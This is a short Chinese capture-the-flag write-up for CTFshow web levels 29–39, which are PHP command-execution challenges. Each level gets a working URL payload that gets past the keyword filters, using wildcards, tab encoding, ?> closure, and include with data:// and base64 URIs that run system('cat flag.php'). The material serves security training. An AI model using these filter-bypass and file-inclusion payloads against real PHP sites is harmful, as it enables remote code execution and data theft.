29.
首先看看有什么文件。
此题flag被过滤,文件名过滤,可以通配符,反斜杠,双引号绕过,然后读取文件利用cat函数,输出利用system,passthru;
具体可看CTFshow web入门 web28~web40 命令执行_ctfshow web28-优快云博客
30
第二题绕过flag,system,php.
一样的查看文件,只不过不可以用system。
之后直接url/?c=('cat f*');,然后访问源码就好。(还有很多绕过方法,例?c=echo `nl fla''g.p''hp`;
?c=passthru('cat fla\g.p\hp'););
31.
这个还过滤了cat,sort,shell,点,单引号,空格。cat可以用tac代替(反向显示),空格用tab(%09)代替,点被过滤,直接*即可(代替多个字符)。所以可以构造/?c=passthru("tac%09f*");
32.
这个额外过滤了echo,分号,反引号,左括号。分号用php中的?>进行绕过,然后构造url这里需要运用以下知识点。
构造?c=include%0a$_GET[1]?>&1=data://text/plain,<?php system('ls');?>
?c=include%0a$_GET[1]?>&1=data://text/plain,<?php system('cat flag.php');?>
33.
多过滤了双引号,一样的用上面的命令。
?c=include%0a$_GET[1]?>&1=data://text/plain,<?php system('cat flag.php');?>
34.
多过滤了冒号,一样的命令?c=include%0a$_GET[1]?>&1=data://text/plain,<?php system('cat flag.php');?> 。
35.
多过滤了左尖括号与等号,一样的命令?c=include%0a$_GET[1]?>&1=data://text/plain,<?php system('cat flag.php');?>。
36.
0-9也被过滤,所以1要变成a,所以有?c=include%0a$_GET[a]?>&a=data://text/plain,<?php system('cat flag.php');?>
37.
这里有关include函数(语句包含并运行指定文件),就是考察文件包含知识点。
/?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==(<?php system('cat flag.php');?>)
?c=data://text/plain,<?php system("cat fla*")?>这样构造也行。
38.
这个还过滤了php,所以构造为/?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==(<?php system('cat flag.php');?>)
39.
include里多了个php,但是前面的php语句已经闭合,所以没啥用。
?c=data://text/plain,<?php system("cat fla*")?>